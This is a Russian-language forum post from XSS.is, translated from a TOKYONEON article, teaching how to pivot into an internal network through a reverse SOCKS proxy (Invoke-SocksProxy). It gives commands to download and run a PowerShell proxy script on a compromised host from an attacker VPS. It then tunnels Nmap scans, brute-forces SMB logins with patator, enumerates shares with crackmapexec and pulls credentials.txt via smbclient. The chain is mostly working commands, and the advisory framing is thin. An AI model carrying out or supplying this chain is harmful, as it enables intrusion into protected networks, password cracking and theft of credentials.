• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Как APT используют обратные прокси-серверы для Nmap-сканирования внутренних сетей

baykal

(L2) cache
Пользователь
Регистрация
16.03.2021
Сообщения
370
Реакции
838
Автор оригинала: TOKYONEON

Поскольку обратные прокси-серверы могут обходить ограничения брандмауэра на входящий трафик, злоумышленники, планирующие APT, используют их для pivot-атак на защищенные среды. К примеру, не так давно жертвой такой атаки стала корпоративная сеть федерального агентства. Злоумышленники использовали модификацию Invoke-SocksProxy — скрипта с открытым исходным кодом для работы с обратными прокси, который можно найти на GitHub. Вот что пишет по этому поводу Агентство по кибербезопасности и инфраструктуре (СISA): Злоумышленник установил Persistence и C2 в сети жертвы через постоянный туннель SSH/обратный прокси-сервер SOCKS… Скрипт PowerShell [Invoke-SocksProxy.ps1] создал обратный прокси-сервер SMB SOCKS, который разрешил устанавливать соединения между управляемым злоумышленником VPS… и файловым сервером организации, выбранной в качестве жертвы… Invoke-SocksProxy.ps1 создает обратный прокси-сервер между локальным устройством и инфраструктурой хакера…

Что такое обратный прокси-сервер?​

Согласно определению MITER ATT & CK Framework:
Злоумышленники могут использовать прокси-сервер для направления сетевого трафика между системами или выступать посредником в передаче данных по сети... чтобы не позволить напрямую подключиться к своей инфраструктуре... Злоумышленники используют эти типы прокси-серверов для управления инфраструктурой C2 [или] для уменьшения количества одновременных исходящих сетевых подключений… Злоумышленники могут объединить несколько прокси-серверов в цепочку, чтобы тщательнее замаскировать источник вредоносного трафика…

Настройка атаки​

Топология сети включает несколько локально подключенных устройств (172.16.0.1/24). Для простоты понимания предположим, что злоумышленник установил обратную оболочку на хосте A (172.16.0.3) с вредоносным документом Word (см. ниже). При таком уровне компрометации система Kali злоумышленника не может напрямую взаимодействовать с серверами SMB и HTTP. Его цель — обнаружить службы на 172.16.0.1/24 при использовании хоста A в качестве прокси.
c23739dd46039e87eceb3931fa0ff402.png

В данном примере скомпрометированный хост подключается к виртуальному выделенному серверу (VPS) злоумышленника с помощью прослушивания через утилиту Netcat по TCP/4444 (как показано ниже). Соединение Netcat должно оставаться открытым — это будет важно на более позднем этапе.
907b2c9097f40c7fc13ce62fc74ce5fa.png

В Kali запускаем новый терминал и подключаемся по SSH к VPS. С помощью команды su получаем оболочку с привилегиями root.
b11d216001c24f9539f73e3575680ae3.png

Используя приведенную ниже команду, копируем наш архив Invoke-SocksProxy. В нем два файла: ReverseSocksProxyHandler.py и Invoke-SocksProxy.ps1.
root@vps > cd /opt; git clone https://github.com/tokyoneon/Invoke-SocksProxy
c89a278c3b15f5c1883fda39d9f19e72.png

Скрипт ReverseSocksProxyHandler.py откроет порты 443 и 1337. Порт 443 будет принимать входящие соединения от хоста A. Порт 1337 будет работать как порт прокси-сервера, настроенный с помощью proxychains в Kali. При выполнении появится следующий результат. Терминал всё время атаки должен оставаться открытым.
Код:
root@vps> cd /opt /Invoke-SocksProxy;./ReverseSocksProxyHandler.py
b9b82a50fe3870611f392e2308ccafc6.png

Скрипт Invoke-SocksProxy.ps1 должен быть запущен на скомпрометированном хосте. Повторно запускаем новый терминал в Kali и подключаемся по SSH к VPS. В Invoke-SocksProxy.ps1 меняем жестко запрограммированный адрес VPS в Invoke-SocksProxy.ps1 и размещаем его на HTTP-сервере (например, Apache, Nginx или http.server).

На терминале Netcat переходим в каталог $env:tEMP на хосте A. Затем загружаем с VPS Invoke-SocksProxy.ps1 и запускаем его. Он не будет выводить данные и должен оставаться открытым. Чтобы автоматизировать выполнение реального сценария, злоумышленник может использовать запланированные задания. Оставим терминал открытым — так будет легче понять, что происходит.
Код:
Ps > cd $env:TEMP
Ps > iwr 192.168.56.102/Invoke-SocksProxy.ps1 -outfile isp.ps1
Ps > .\isp.ps1
e6e07c872cecb0c3d5aa5250ba19ac91.png

В Kali устанавливаем proxychains4 и редактируем файл /etc/proxychains4.conf. В конце файла конфигурации прописываем адрес VPS и порт 1337.
Код:
sudo apt-get install -y proxychains4 && sudo nano /etc/proxychains4.conf
6a30eecf4e3be52505f186cc9bd6ccb1.png

Вот и всё, атака подготовлена. С помощью ReverseSocksProxyHandler и Invoke-SocksProxy, запущенных на VPS и хосте A, можно атаковать внутреннюю сеть через прокси.

Прокси Nmap и Crackmapexec с Proxychains​

При использовании Nmap с Proxychains нужно помнить о некоторых ограничениях. Например, у Nmap не получится обнаружить хост — утилита не сможет выполнить "пингование" (ICMP) через SOCKS5. Несмотря на это, обнаруживать службы и порты она будет по-прежнему эффективно (хотя и не так быстро, поскольку нужно будет полностью сканировать TCP).
Нижеописанная команда Nmap выполнит сканирование с использованием TCP-соединений (-sT), не обнаруживая при этом хосты (-Pn) и не выполняя разрешение DNS имен (-n). Эти аргументы необходимы для использования Nmap с Proxychains. Обратите внимание на SMB-сервер на 172.16.0.4:445 и HTTP-сервер на 172.16.0.115:80.
Код:
proxychains nmap -sT -Pn -n -p445,139,88,80 172.16.0.4,115
b9271be84935e5db9f67837f1ca0d837.png

Чтобы проксировать атаки методом перебора, используем приведенную ниже команду patator. Сообщения Proxychains будут конфликтовать с сообщениями, выводимыми Patator; чтобы их блокировать, используем аргумент -q. Обратите внимание на пароль ("Passw0rd!"), обнаруженный во время атаки.
Код:
proxychains -q patator smb_login host=172.16.0.4 port=445 user=victim2 password=FILE0 0=/usr/share/wordlists/nmap.lst -t 1 -x ignore:mesg=’STATUS_LOGON_FAILURE’
389e05deb6fdde63d6bb600b0be626f5.png

Чтобы просмотреть общие ресурсы на скомпрометированном сервере SMB, используем приведенную ниже команду crackmapexec, вставив обнаруженный пароль. Обратите внимание на общий ресурс "Private" с разрешениями на чтение и запись.
Код:
proxychains crackmapexec smb 172.16.0.4 -u ‘victim2’ -p ‘Passw0rd!’ –shares
eb551a0936d9c5ae4112e2536561b528.png

Чтобы получить доступ к его содержимому, используем команду smbclient для просмотра желаемого каталога (в данном случае "/Private"). Обратите внимание на файл credentials.txt в общей папке. В smbclient используем команду get, чтобы получить файл и сохранить его локально в Kali.
Код:
proxychains smbclient //172.16.0.4/Private -U ‘victim2%Passw0rd!’
e4ee1daa23cbcbf8befaa509a25dfdb0.png

Точно так же аналогичные команды proxychains предоставляют доступ к HTTP-серверам. Однако в Firefox есть встроенные функции, благодаря которым удобнее взаимодействовать с прокси.
Открываем Firefox в Kali, переходим в меню: Настройки > Параметры сети > Настроить и настраиваем IP-адрес и порт VPS в разделе SOCKS Host (узел SOCKS) (как показано ниже). Нажимаем ОК, чтобы сохранить конфигурацию.
20aac0e984a7ab1ca4a6e1b4c2764fbe.png


Затем открываем новую вкладку и заходим на любой HTTP-сервер во внутренней сети (например, 172.16.0.115:80).
9a6c042ae94c12ba7ced7b2e92bd43fd.png

Судя по журналам HTTP-сервера на 172.16.0.115, запросы, исходят от 172.16.0.3 (хост A), то есть скомпрометированного хоста.
5d01c389404c69f20bc168076275eebe.png
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх